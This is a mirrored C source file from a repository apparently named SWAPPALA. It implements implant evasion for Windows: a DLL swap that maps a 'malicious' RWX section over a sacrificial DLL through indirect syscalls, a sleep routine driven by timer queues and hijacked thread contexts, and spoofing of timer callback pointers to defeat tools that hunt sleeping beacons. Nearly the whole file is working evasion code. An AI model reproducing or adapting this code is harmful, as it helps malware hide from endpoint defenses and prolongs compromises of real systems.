mirror of
https://github.com/oldboy21/SWAPPALA
synced 2026-06-08 16:30:29 +00:00
656 lines
24 KiB
C
656 lines
24 KiB
C
#pragma once
|
|
|
|
#include "syscalls.h"
|
|
#include "globals.h"
|
|
#include <inttypes.h>
|
|
|
|
HANDLE SwapDll(SIZE_T MODULESIZE, PVOID SACDLLBASE) {
|
|
|
|
HANDLE malHandle = NULL;
|
|
NTSTATUS STATUS = 0x00;
|
|
LARGE_INTEGER sectionSize = { MODULESIZE };
|
|
|
|
//createsection
|
|
if (STATUS = ZwCreateSection(&malHandle, SECTION_ALL_ACCESS, NULL, §ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL, zwFunctions[ZwCreateSectionF].SSN, zwFunctions[ZwCreateSectionF].sysretAddr) != 0) {
|
|
|
|
return NULL;
|
|
}
|
|
|
|
//unamep the sacrificial DLL
|
|
if (STATUS = ZwUnmapViewOfSection(((HANDLE)(LONG_PTR)-1), SACDLLBASE, zwFunctions[ZwUnmapViewOfSectionF].SSN, zwFunctions[ZwUnmapViewOfSectionF].sysretAddr) != 0) {
|
|
|
|
return NULL;
|
|
|
|
}
|
|
|
|
//mapviewofsection of the malicious section at the same address as the sacdll
|
|
|
|
if (STATUS = ZwMapViewOfSection(malHandle, ((HANDLE)(LONG_PTR)-1), &SACDLLBASE, NULL, NULL, NULL, &MODULESIZE, ViewUnmap, NULL, PAGE_EXECUTE_READWRITE, zwFunctions[ZwMapViewOfSectionF].SSN, zwFunctions[ZwMapViewOfSectionF].sysretAddr) != 0) {
|
|
|
|
return NULL;
|
|
}
|
|
|
|
return malHandle;
|
|
|
|
}
|
|
|
|
|
|
|
|
/*------------------------------------------------------------*/
|
|
|
|
//size of CtxHide and CtxFix is 6, in total 12 threads are created for implmenting the timer callback spoofing tehcnique
|
|
int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHANDLE DummyEvent, PHANDLE apcThreads, PCONTEXT CtxHide, PCONTEXT CtxFix, PDWORD64 ResumeThreadValue, PDWORD64 SafeCallback, PNT_FUNCTIONS ntFunctions, PFUNCTION_ADDRESSES fnAddr) {
|
|
|
|
|
|
/* --------- HIDING --------- */
|
|
HANDLE hThreads[3] = { 0 };
|
|
|
|
|
|
//starting the APC trigger thread
|
|
if (!NT_SUCCESS(ntFunctions->NtCreateThreadEx(&hThreads[0], THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (PUSER_THREAD_START_ROUTINE)ExitThread, NULL, TRUE, NULL, NULL, NULL, NULL)))
|
|
{
|
|
return -1;
|
|
}
|
|
|
|
CtxHide[0].ContextFlags = CONTEXT_ALL;
|
|
if (!NT_SUCCESS(ntFunctions->NtGetContextThread(hThreads[0], &CtxHide[0])))
|
|
{
|
|
return -1;
|
|
}
|
|
|
|
*(ULONG_PTR*)((CtxHide[0]).Rsp) = (DWORD64)fnAddr->NtTestAlertAddress;
|
|
CtxHide[0].Rip = (DWORD64)WaitForSingleObjectEx;
|
|
CtxHide[0].Rcx = (DWORD64)(*EvntHide);
|
|
CtxHide[0].Rdx = (DWORD64)INFINITE;
|
|
CtxHide[0].R8 = FALSE;
|
|
|
|
// Set the modified context back to the thread
|
|
if (!NT_SUCCESS(ntFunctions->NtSetContextThread(hThreads[0], &CtxHide[0])))
|
|
{
|
|
return -1;
|
|
}
|
|
|
|
if (!NT_SUCCESS(ntFunctions->NtResumeThread(hThreads[0], NULL)))
|
|
{
|
|
return -1;
|
|
}
|
|
|
|
|
|
// Create seven threads in suspended state
|
|
for (int i = 1; i < 3; ++i)
|
|
{
|
|
//does not really matter here the function the threads are going to execute
|
|
if (!NT_SUCCESS(ntFunctions->NtCreateThreadEx(&hThreads[i], THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (PUSER_THREAD_START_ROUTINE)ExitThread, NULL, TRUE, NULL, NULL, NULL, NULL)))
|
|
{
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
// Modify the context of all the threads
|
|
for (int i = 1; i < 3; ++i)
|
|
{
|
|
// Initialize the context structure
|
|
CtxHide[i].ContextFlags = CONTEXT_ALL;
|
|
if (!NT_SUCCESS(ntFunctions->NtGetContextThread(hThreads[i], &CtxHide[i])))
|
|
{
|
|
return -1;
|
|
}
|
|
|
|
}
|
|
|
|
|
|
//starting APC threads here
|
|
*(ULONG_PTR*)((CtxHide[1]).Rsp) = (DWORD64)ExitThread;
|
|
CtxHide[1].Rip = (DWORD64)WriteProcessMemory;
|
|
CtxHide[1].Rcx = (DWORD64)(HANDLE)-1;
|
|
CtxHide[1].Rdx = (DWORD64) & (callbackinfo[0]->FinalizationCallback);
|
|
CtxHide[1].R8 = (DWORD64)SafeCallback;
|
|
CtxHide[1].R9 = (DWORD64)sizeof(PVOID);
|
|
|
|
*(ULONG_PTR*)((CtxHide[2]).Rsp) = (DWORD64)ExitThread;
|
|
CtxHide[2].Rip = (DWORD64)WriteProcessMemory;
|
|
CtxHide[2].Rcx = (DWORD64)(HANDLE)-1;
|
|
CtxHide[2].Rdx = (DWORD64) & (callbackinfo[1]->FinalizationCallback);
|
|
CtxHide[2].R8 = (DWORD64)SafeCallback;
|
|
CtxHide[2].R9 = (DWORD64)sizeof(PVOID);
|
|
|
|
|
|
|
|
|
|
|
|
// Set the new context to all the threads
|
|
for (int i = 1; i < 3; ++i)
|
|
{
|
|
// Initialize the context structure
|
|
if (!NT_SUCCESS(ntFunctions->NtSetContextThread(hThreads[i], &CtxHide[i])))
|
|
{
|
|
return -1;
|
|
}
|
|
|
|
}
|
|
|
|
//queue the APC threads to the worker thread
|
|
for (int i = 0; i < 2; i++) {
|
|
if (!NT_SUCCESS(ntFunctions->NtQueueApcThread(hThreads[0], (PPS_APC_ROUTINE)ResumeThread, hThreads[i + 1], FALSE, NULL))) {
|
|
return -1;
|
|
}
|
|
}
|
|
//queueing an extra APC for exiting the main thread
|
|
if (!NT_SUCCESS(ntFunctions->NtQueueApcThread(hThreads[0], (PPS_APC_ROUTINE)ExitThread, NULL, FALSE, NULL))) {
|
|
return -1;
|
|
}
|
|
|
|
|
|
/* --------- FIXING --------- */
|
|
HANDLE hThreadsFix[3] = { 0 };
|
|
|
|
//starting the APC trigger thread
|
|
if (!NT_SUCCESS(ntFunctions->NtCreateThreadEx(&hThreadsFix[0], THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (PUSER_THREAD_START_ROUTINE)ExitThread, NULL, TRUE, NULL, NULL, NULL, NULL)))
|
|
{
|
|
return -1;
|
|
}
|
|
|
|
CtxFix[0].ContextFlags = CONTEXT_ALL;
|
|
if (!NT_SUCCESS(ntFunctions->NtGetContextThread(hThreadsFix[0], &CtxFix[0])))
|
|
{
|
|
return -1;
|
|
}
|
|
|
|
*(ULONG_PTR*)((CtxFix[0]).Rsp) = (DWORD64)fnAddr->NtTestAlertAddress;
|
|
CtxFix[0].Rip = (DWORD64)WaitForSingleObjectEx;
|
|
CtxFix[0].Rcx = (DWORD64)(*DummyEvent);
|
|
CtxFix[0].Rdx = (DWORD64)19000;
|
|
CtxFix[0].R8 = FALSE;
|
|
|
|
// Set the modified context back to the thread
|
|
if (!NT_SUCCESS(ntFunctions->NtSetContextThread(hThreadsFix[0], &CtxFix[0])))
|
|
{
|
|
return -1;
|
|
}
|
|
|
|
if (!NT_SUCCESS(ntFunctions->NtResumeThread(hThreadsFix[0], NULL)))
|
|
{
|
|
return -1;
|
|
}
|
|
|
|
// Create seven threads in suspended state
|
|
for (int i = 1; i < 3; ++i)
|
|
{
|
|
//does not really matter here the function the threads are going to execute
|
|
if (!NT_SUCCESS(ntFunctions->NtCreateThreadEx(&hThreadsFix[i], THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (PUSER_THREAD_START_ROUTINE)ExitThread, NULL, TRUE, NULL, NULL, NULL, NULL)))
|
|
{
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
// Modify the context of all the threads
|
|
for (int i = 1; i < 3; ++i)
|
|
{
|
|
// Initialize the context structure
|
|
CtxFix[i].ContextFlags = CONTEXT_ALL;
|
|
if (!NT_SUCCESS(ntFunctions->NtGetContextThread(hThreadsFix[i], &CtxFix[i])))
|
|
{
|
|
return -1;
|
|
}
|
|
|
|
}
|
|
|
|
*(ULONG_PTR*)((CtxFix[1]).Rsp) = (DWORD64)ExitThread;
|
|
CtxFix[1].Rip = (DWORD64)WriteProcessMemory;
|
|
CtxFix[1].Rcx = (DWORD64)(HANDLE)-1;
|
|
CtxFix[1].Rdx = (DWORD64) & (callbackinfo[0]->FinalizationCallback);
|
|
CtxFix[1].R8 = (DWORD64)ResumeThreadValue;
|
|
CtxFix[1].R9 = (DWORD64)sizeof(PVOID);
|
|
|
|
*(ULONG_PTR*)((CtxFix[2]).Rsp) = (DWORD64)ExitThread;
|
|
CtxFix[2].Rip = (DWORD64)WriteProcessMemory;
|
|
CtxFix[2].Rcx = (DWORD64)(HANDLE)-1;
|
|
CtxFix[2].Rdx = (DWORD64) & (callbackinfo[1]->FinalizationCallback);
|
|
CtxFix[2].R8 = (DWORD64)ResumeThreadValue;
|
|
CtxFix[2].R9 = (DWORD64)sizeof(PVOID);
|
|
|
|
|
|
|
|
// Set the new context to all the threads
|
|
for (int i = 1; i < 3; ++i)
|
|
{
|
|
// Initialize the context structure
|
|
if (!NT_SUCCESS(ntFunctions->NtSetContextThread(hThreadsFix[i], &CtxFix[i])))
|
|
{
|
|
return -1;
|
|
}
|
|
|
|
}
|
|
|
|
//queue the APC threads to the worker thread
|
|
for (int i = 0; i < 2; i++) {
|
|
if (!NT_SUCCESS(ntFunctions->NtQueueApcThread(hThreadsFix[0], (PPS_APC_ROUTINE)ResumeThread, hThreadsFix[i + 1], FALSE, NULL))) {
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
//queueing an extra APC for exiting the main thread
|
|
if (!NT_SUCCESS(ntFunctions->NtQueueApcThread(hThreadsFix[0], (PPS_APC_ROUTINE)ExitThread, NULL, FALSE, NULL))) {
|
|
return -1;
|
|
}
|
|
|
|
//for loop that adds both Thread and ThreadFix to the array of apcThreads
|
|
for (int i = 0; i < 3; i++) {
|
|
apcThreads[i] = hThreads[i];
|
|
apcThreads[i + 3] = hThreadsFix[i];
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
//original unmodified version can be found here
|
|
//https://github.com/thefLink/Hunt-Sleeping-Beacons/blob/main/src/EnumerateSuspiciousTimers.cpp
|
|
int GetInfoFromWorkerFactory(HANDLE hWorkerFactory, PVOID ResumeThreadAddress, int* arraySize, PTPP_CLEANUP_GROUP_MEMBER* callbackArray) {
|
|
|
|
//objects for the worker factory
|
|
WORKER_FACTORY_BASIC_INFORMATION wfbi = { 0 };
|
|
FULL_TP_POOL full_tp_pool = { 0 };
|
|
PFULL_TP_TIMER p_tp_timer = NULL, p_head = NULL;
|
|
FULL_TP_TIMER tp_timer = { 0 };
|
|
SIZE_T len = 0;
|
|
TPP_CLEANUP_GROUP_MEMBER ctx = { 0 };
|
|
HMODULE hNtdll = { 0 };
|
|
INT64 highest = 0;
|
|
INT64 second_highest = 0;
|
|
int index_highest = 0;
|
|
int index_second_highest = 0;
|
|
|
|
if (!(hNtdll = GetModuleHandleA("ntdll"))) {
|
|
return -1;
|
|
}
|
|
//retrieve NT functions
|
|
NtQueryInformationWorkerFactoryFunc NtQueryInformationWorkerFactory = (NtQueryInformationWorkerFactoryFunc)GetProcAddress(hNtdll, "NtQueryInformationWorkerFactory");
|
|
if (NtQueryInformationWorkerFactory == NULL) {
|
|
return -1;
|
|
}
|
|
|
|
if (NtQueryInformationWorkerFactory(hWorkerFactory, WorkerFactoryBasicInformation, &wfbi, sizeof(WORKER_FACTORY_BASIC_INFORMATION), NULL) == STATUS_SUCCESS) {
|
|
|
|
if (ReadProcessMemory(GetCurrentProcess(), wfbi.StartParameter, &full_tp_pool, sizeof(FULL_TP_POOL), &len) == FALSE) {
|
|
return -1;
|
|
}
|
|
|
|
if (full_tp_pool.TimerQueue.RelativeQueue.WindowStart.Root)
|
|
p_tp_timer = CONTAINING_RECORD(full_tp_pool.TimerQueue.RelativeQueue.WindowStart.Root, FULL_TP_TIMER, WindowStartLinks);
|
|
else if (full_tp_pool.TimerQueue.AbsoluteQueue.WindowStart.Root)
|
|
p_tp_timer = CONTAINING_RECORD(full_tp_pool.TimerQueue.AbsoluteQueue.WindowStart.Root, FULL_TP_TIMER, WindowStartLinks);
|
|
else {
|
|
return -1;
|
|
}
|
|
|
|
if (ReadProcessMemory(GetCurrentProcess(), p_tp_timer, &tp_timer, sizeof(FULL_TP_TIMER), &len) == FALSE) {
|
|
return -1;
|
|
}
|
|
|
|
PLIST_ENTRY pHead = tp_timer.WindowStartLinks.Children.Flink;
|
|
PLIST_ENTRY pFwd = tp_timer.WindowStartLinks.Children.Flink;
|
|
LIST_ENTRY entry = { 0 };
|
|
|
|
do {
|
|
|
|
if (ReadProcessMemory(GetCurrentProcess(), tp_timer.Work.CleanupGroupMember.Context, &ctx, sizeof(TPP_CLEANUP_GROUP_MEMBER), &len) == FALSE) {
|
|
break;
|
|
}
|
|
//print all the tp_timer members
|
|
|
|
|
|
|
|
if ((ctx).FinalizationCallback == ResumeThreadAddress) {
|
|
printf("[!] DueTimer %" PRIu64 " with address %p\n", tp_timer.DueTime, tp_timer.Work.CleanupGroupMember.Context);
|
|
if (tp_timer.DueTime > highest) {
|
|
second_highest = highest;
|
|
highest = tp_timer.DueTime;
|
|
|
|
callbackArray[0] = (PTPP_CLEANUP_GROUP_MEMBER)tp_timer.Work.CleanupGroupMember.Context; //address of the object
|
|
|
|
|
|
}
|
|
else if (tp_timer.DueTime > second_highest && tp_timer.DueTime <= highest) {
|
|
second_highest = tp_timer.DueTime;
|
|
callbackArray[1] = (PTPP_CLEANUP_GROUP_MEMBER)tp_timer.Work.CleanupGroupMember.Context; //address of the object
|
|
}
|
|
|
|
|
|
(*arraySize)++;
|
|
|
|
}
|
|
|
|
|
|
|
|
p_tp_timer = CONTAINING_RECORD(pFwd, FULL_TP_TIMER, WindowStartLinks);
|
|
if (ReadProcessMemory(GetCurrentProcess(), p_tp_timer, &tp_timer, sizeof(FULL_TP_TIMER), &len) == FALSE) {
|
|
break;
|
|
}
|
|
|
|
ReadProcessMemory(GetCurrentProcess(), pFwd, &entry, sizeof(LIST_ENTRY), &len);
|
|
pFwd = entry.Flink;
|
|
|
|
} while (pHead != pFwd);
|
|
|
|
}
|
|
//print highest and second highest due time
|
|
printf("[!] Highest DueTime %" PRIu64 " with address: %p\n", highest, callbackArray[0]);
|
|
printf("[!] Second Highest DueTime %" PRIu64 " with address %p\n", second_highest, callbackArray[1]);
|
|
|
|
return 0;
|
|
|
|
|
|
}
|
|
|
|
//original unmodified version can be found here
|
|
//https://github.com/thefLink/Hunt-Sleeping-Beacons/blob/main/src/EnumerateSuspiciousTimers.cpp
|
|
int EnumResumeThreadCallbacks(PVOID ResumeThreadAddress, PTPP_CLEANUP_GROUP_MEMBER* callbackArray) {
|
|
|
|
|
|
HMODULE hNtdll = { 0 };
|
|
int arraySize = 0;
|
|
|
|
|
|
if (!(hNtdll = GetModuleHandleA("ntdll"))) {
|
|
return -1;
|
|
}
|
|
|
|
//retrieve syscalls address
|
|
NtQuerySystemInformationFunc NtQuerySystemInformation = (NtQuerySystemInformationFunc)GetProcAddress(hNtdll, "NtQuerySystemInformation");
|
|
if (NtQuerySystemInformation == NULL) {
|
|
|
|
return -1;
|
|
}
|
|
NtQueryObjectFunc NtQueryObject = (NtQueryObjectFunc)GetProcAddress(hNtdll, "NtQueryObject");
|
|
if (NtQuerySystemInformation == NULL) {
|
|
return -1;
|
|
}
|
|
|
|
// Call NtQuerySystemInformation to get the handles information
|
|
ULONG bufferSize = 0x1000;
|
|
PVOID buffer = NULL;
|
|
NTSTATUS status;
|
|
buffer = (PSYSTEM_HANDLE_INFORMATION)VirtualAlloc(NULL, bufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
if (buffer == NULL) {
|
|
return -1;
|
|
}
|
|
|
|
while ((status = NtQuerySystemInformation(
|
|
SystemHandleInformation,
|
|
buffer,
|
|
bufferSize,
|
|
NULL
|
|
)) == STATUS_INFO_LENGTH_MISMATCH) {
|
|
VirtualFree(buffer, 0, MEM_RELEASE);
|
|
buffer = (PSYSTEM_HANDLE_INFORMATION)VirtualAlloc(NULL, bufferSize *= 2, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
}
|
|
|
|
// NtQuerySystemInformation stopped giving us STATUS_INFO_LENGTH_MISMATCH.
|
|
if (!NT_SUCCESS(status)) {
|
|
return -1;
|
|
}
|
|
|
|
|
|
PSYSTEM_HANDLE_INFORMATION handleInfo = (PSYSTEM_HANDLE_INFORMATION)buffer;
|
|
POBJECT_TYPE_INFORMATION objectTypeInfo;
|
|
//to free still
|
|
objectTypeInfo = (POBJECT_TYPE_INFORMATION)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
|
|
for (ULONG_PTR i = 0; i < handleInfo->HandleCount; i++) {
|
|
|
|
SYSTEM_HANDLE handle = handleInfo->Handles[i];
|
|
|
|
//for each handle i check whether it belongs to my process
|
|
if (handle.ProcessId == GetProcessId(GetCurrentProcess())) {
|
|
|
|
|
|
if (NtQueryObject((void*)handle.Handle, ObjectTypeInformation, objectTypeInfo, sizeof(OBJECT_TYPE_INFORMATION) * 2, NULL) < 0) {
|
|
|
|
continue;
|
|
}
|
|
//if it's a TpWorkerFactory object I enumerate further
|
|
if (!lstrcmpW(objectTypeInfo->Name.Buffer, L"TpWorkerFactory")) {
|
|
|
|
|
|
if (GetInfoFromWorkerFactory((HANDLE)handle.Handle, ResumeThreadAddress, &arraySize, callbackArray) == -1) {
|
|
|
|
arraySize = 0;
|
|
continue;
|
|
}
|
|
//Found the right TpWorkerFactory, because i know there are 5 callbacks for the ResumeThread function
|
|
if (arraySize == 5) {
|
|
|
|
if (objectTypeInfo) VirtualFree(objectTypeInfo, 0, MEM_RELEASE);
|
|
if (buffer) VirtualFree(buffer, 0, MEM_RELEASE);
|
|
return 0;
|
|
|
|
}
|
|
arraySize = 0;
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
if (objectTypeInfo) VirtualFree(objectTypeInfo, 0, MEM_RELEASE);
|
|
if (buffer) VirtualFree(buffer, 0, MEM_RELEASE);
|
|
return -1;
|
|
|
|
}
|
|
|
|
/*-----------------------------------------------------------*/
|
|
|
|
int Sleaping(PVOID ImageBaseDLL, HANDLE sacDllHandle, HANDLE malDllHandle, SIZE_T viewSize, PNT_FUNCTIONS ntFunctions, PFUNCTION_ADDRESSES fnAddr) {
|
|
|
|
//APC Threads
|
|
PHANDLE ApcThreads = (PHANDLE)(VirtualAlloc(NULL, 6 * sizeof(HANDLE), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
|
|
|
|
//Context APC threads
|
|
CONTEXT* CtxHide = (CONTEXT*)(VirtualAlloc(NULL, 3 * sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
|
|
|
|
//context APC threads fix callback
|
|
CONTEXT* CtxFix = (CONTEXT*)(VirtualAlloc(NULL, 3 * sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
|
|
|
|
//events for APC threads
|
|
HANDLE EvntHide = { 0 };
|
|
HANDLE DummyEvent = { 0 };
|
|
|
|
//support NT functions
|
|
HMODULE hNtdll = { 0 };
|
|
|
|
//callbackArray for APC to spoof
|
|
PTPP_CLEANUP_GROUP_MEMBER* callbackArray = (PTPP_CLEANUP_GROUP_MEMBER*)VirtualAlloc(NULL, 2 * sizeof(PTPP_CLEANUP_GROUP_MEMBER), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
PDWORD64 ResumeThreadValue = (PDWORD64)VirtualAlloc(NULL, sizeof(PVOID), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
PDWORD64 SafeCallback = (PDWORD64)VirtualAlloc(NULL, sizeof(PVOID), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
//initializing callback array structs
|
|
for (int i = 0; i < 2; i++) {
|
|
callbackArray[i] = (PTPP_CLEANUP_GROUP_MEMBER)VirtualAlloc(NULL, sizeof(TPP_CLEANUP_GROUP_MEMBER), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
}
|
|
|
|
//sleaping threads = 5 Timers + 6 APC threads
|
|
HANDLE ThreadArray[11] = { NULL };
|
|
|
|
//timers variables
|
|
HANDLE hTimerQueue = NULL;
|
|
HANDLE hNewTimer = NULL;
|
|
|
|
//i create the sync event that would trigger the first thread
|
|
if (!NT_SUCCESS(ntFunctions->NtCreateEvent(&EvntHide, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE))) {
|
|
return -1;
|
|
}
|
|
|
|
if (!NT_SUCCESS(ntFunctions->NtCreateEvent(&DummyEvent, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE))) {
|
|
return -1;
|
|
}
|
|
|
|
|
|
//variables and logic for SLEAPING timers
|
|
CONTEXT* context = (CONTEXT*)(VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
|
|
CONTEXT* contextB = (CONTEXT*)(VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
|
|
CONTEXT* contextC = (CONTEXT*)(VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
|
|
CONTEXT* contextD = (CONTEXT*)(VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
|
|
CONTEXT* contextE = (CONTEXT*)(VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
|
|
|
|
|
|
if (context == NULL || contextB == NULL || contextC == NULL || contextD == NULL || contextE == NULL) {
|
|
return -1;
|
|
}
|
|
|
|
context->ContextFlags = CONTEXT_ALL;
|
|
contextB->ContextFlags = CONTEXT_ALL;
|
|
contextC->ContextFlags = CONTEXT_ALL;
|
|
contextD->ContextFlags = CONTEXT_ALL;
|
|
contextE->ContextFlags = CONTEXT_ALL;
|
|
|
|
// Create a thread to control
|
|
ThreadArray[0] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)UnmapViewOfFile, NULL, CREATE_SUSPENDED, NULL);
|
|
if (ThreadArray[0] == NULL) {
|
|
|
|
return -1;
|
|
}
|
|
ThreadArray[1] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MapViewOfFileEx, NULL, CREATE_SUSPENDED, NULL);
|
|
if (ThreadArray[1] == NULL) {
|
|
|
|
return -1;
|
|
}
|
|
ThreadArray[2] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)UnmapViewOfFile, NULL, CREATE_SUSPENDED, NULL);
|
|
if (ThreadArray[2] == NULL) {
|
|
|
|
return -1;
|
|
}
|
|
ThreadArray[3] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MapViewOfFileEx, NULL, CREATE_SUSPENDED, NULL);
|
|
if (ThreadArray[3] == NULL) {
|
|
|
|
return -1;
|
|
}
|
|
ThreadArray[4] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SetEvent, NULL, CREATE_SUSPENDED, NULL);
|
|
if (ThreadArray[4] == NULL) {
|
|
|
|
return -1;
|
|
}
|
|
|
|
|
|
GetThreadContext(ThreadArray[0], context);//unmap
|
|
GetThreadContext(ThreadArray[1], contextB);//mapex
|
|
GetThreadContext(ThreadArray[2], contextC);//unmap
|
|
GetThreadContext(ThreadArray[3], contextD);//mapex
|
|
GetThreadContext(ThreadArray[4], contextE);//mapex
|
|
|
|
|
|
*(ULONG_PTR*)((*context).Rsp) = (DWORD64)ExitThread;
|
|
(*context).Rip = (DWORD64)UnmapViewOfFile;
|
|
(*context).Rcx = (DWORD64)(ImageBaseDLL);
|
|
|
|
*(ULONG_PTR*)((*contextB).Rsp) = (DWORD64)ExitThread;
|
|
(*contextB).Rip = (DWORD64)MapViewOfFileEx;
|
|
(*contextB).Rcx = (DWORD64)sacDllHandle;
|
|
(*contextB).Rdx = FILE_MAP_ALL_ACCESS;
|
|
(*contextB).R8 = (DWORD64)0x00;
|
|
(*contextB).R9 = (DWORD64)0x00;
|
|
*(ULONG_PTR*)((*contextB).Rsp + 40) = 0x00; //the offset must be either hex 28 or int 40
|
|
*(ULONG_PTR*)((*contextB).Rsp + 48) = (ULONG_PTR)ImageBaseDLL;
|
|
|
|
*(ULONG_PTR*)((*contextC).Rsp) = (DWORD64)ExitThread;
|
|
(*contextC).Rip = (DWORD64)UnmapViewOfFile;
|
|
(*contextC).Rcx = (DWORD64)(ImageBaseDLL);
|
|
|
|
*(ULONG_PTR*)((*contextD).Rsp) = (DWORD64)ExitThread;
|
|
(*contextD).Rip = (DWORD64)MapViewOfFileEx;
|
|
(*contextD).Rcx = (DWORD64)malDllHandle;
|
|
(*contextD).Rdx = FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE;
|
|
(*contextD).R8 = (DWORD64)0x00;
|
|
(*contextD).R9 = (DWORD64)0x00;
|
|
*(ULONG_PTR*)((*contextD).Rsp + 40) = 0x00; //the offset must be either hex 28 or int 40
|
|
*(ULONG_PTR*)((*contextD).Rsp + 48) = (ULONG_PTR)ImageBaseDLL;
|
|
|
|
//one more thread to trigger the APC threads for the callbacks spoofing
|
|
*(ULONG_PTR*)((*contextE).Rsp) = (DWORD64)ExitThread;
|
|
(*contextE).Rip = (DWORD64)SetEvent;
|
|
(*contextE).Rcx = (DWORD64)(EvntHide);
|
|
|
|
SetThreadContext(ThreadArray[0], context);//unmap
|
|
SetThreadContext(ThreadArray[1], contextB);//map
|
|
SetThreadContext(ThreadArray[2], contextC);//unmap
|
|
SetThreadContext(ThreadArray[3], contextD);//mapmal
|
|
SetThreadContext(ThreadArray[4], contextE);//setevent
|
|
|
|
hTimerQueue = CreateTimerQueue();
|
|
if (hTimerQueue == NULL) {
|
|
return -1;
|
|
}
|
|
|
|
//value to change for the spoofing with the TpWorkerFactory structure
|
|
*ResumeThreadValue = (DWORD64)fnAddr->ResumeThreadAddress;
|
|
*SafeCallback = (DWORD64)fnAddr->MessageBoxAddress;
|
|
|
|
if (ResumeThreadValue != NULL && SafeCallback != NULL) {
|
|
//these two need to be bit longer in order for the spoofing to work properly, needs more testing for a more precise waiting
|
|
//i need to wait to enumerate all the callbacks before unmapping the view
|
|
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)fnAddr->ResumeThreadAddress, ThreadArray[0], 800, 0, WT_EXECUTEINTIMERTHREAD);//unamp
|
|
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)fnAddr->ResumeThreadAddress, ThreadArray[1], 900, 0, WT_EXECUTEINTIMERTHREAD);//mapsac
|
|
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)fnAddr->ResumeThreadAddress, ThreadArray[4], 1000, 0, WT_EXECUTEINTIMERTHREAD);//hide callbacks
|
|
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)fnAddr->ResumeThreadAddress, ThreadArray[2], 20100, 0, WT_EXECUTEINTIMERTHREAD);//unmap
|
|
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)fnAddr->ResumeThreadAddress, ThreadArray[3], 20200, 0, WT_EXECUTEINTIMERTHREAD);//mapmal
|
|
|
|
//TpWorkerFactory objects enumerated successfully so callbackArray now contains the addresses to fix
|
|
if (EnumResumeThreadCallbacks(fnAddr->ResumeThreadAddress, callbackArray) == 0) {
|
|
//i should run SleapingAPC here so that all those contexts are available
|
|
if (SleapingAPCNG(callbackArray, &EvntHide, &DummyEvent, ApcThreads, CtxHide, CtxFix, ResumeThreadValue, SafeCallback, ntFunctions, fnAddr) == 0) {
|
|
|
|
int counter = 5;
|
|
for (int i = 0; i < 6; i++) {
|
|
|
|
//adding the newly created APC threads to the thread array to be waiting for
|
|
ThreadArray[counter] = ApcThreads[i];//5 + 6
|
|
counter++;
|
|
|
|
}
|
|
}
|
|
else {
|
|
return -1;
|
|
}
|
|
}
|
|
else {
|
|
return -1;
|
|
}
|
|
}
|
|
else {
|
|
return -1;
|
|
}
|
|
|
|
if (WaitForMultipleObjects(11, ThreadArray, TRUE, INFINITE) == WAIT_FAILED) {
|
|
return -1;
|
|
}
|
|
|
|
//good morning
|
|
if (DeleteTimerQueue(hTimerQueue) == 0) {
|
|
|
|
return -1;
|
|
}
|
|
//clean up totale
|
|
if (context) VirtualFree(context, 0, MEM_RELEASE);
|
|
if (contextB) VirtualFree(contextB, 0, MEM_RELEASE);
|
|
if (contextC) VirtualFree(contextC, 0, MEM_RELEASE);
|
|
if (contextD) VirtualFree(contextD, 0, MEM_RELEASE);
|
|
if (contextE) VirtualFree(contextE, 0, MEM_RELEASE);
|
|
for (int i = 0; i < 2; i++) {
|
|
if (callbackArray[i] != NULL) {
|
|
VirtualFree(callbackArray[i], 0, MEM_RELEASE);
|
|
}
|
|
}
|
|
if (callbackArray) VirtualFree(callbackArray, 0, MEM_RELEASE);
|
|
if (ApcThreads) VirtualFree(ApcThreads, 0, MEM_RELEASE);
|
|
if (CtxFix) VirtualFree(CtxFix, 0, MEM_RELEASE);
|
|
if (CtxHide) VirtualFree(CtxHide, 0, MEM_RELEASE);
|
|
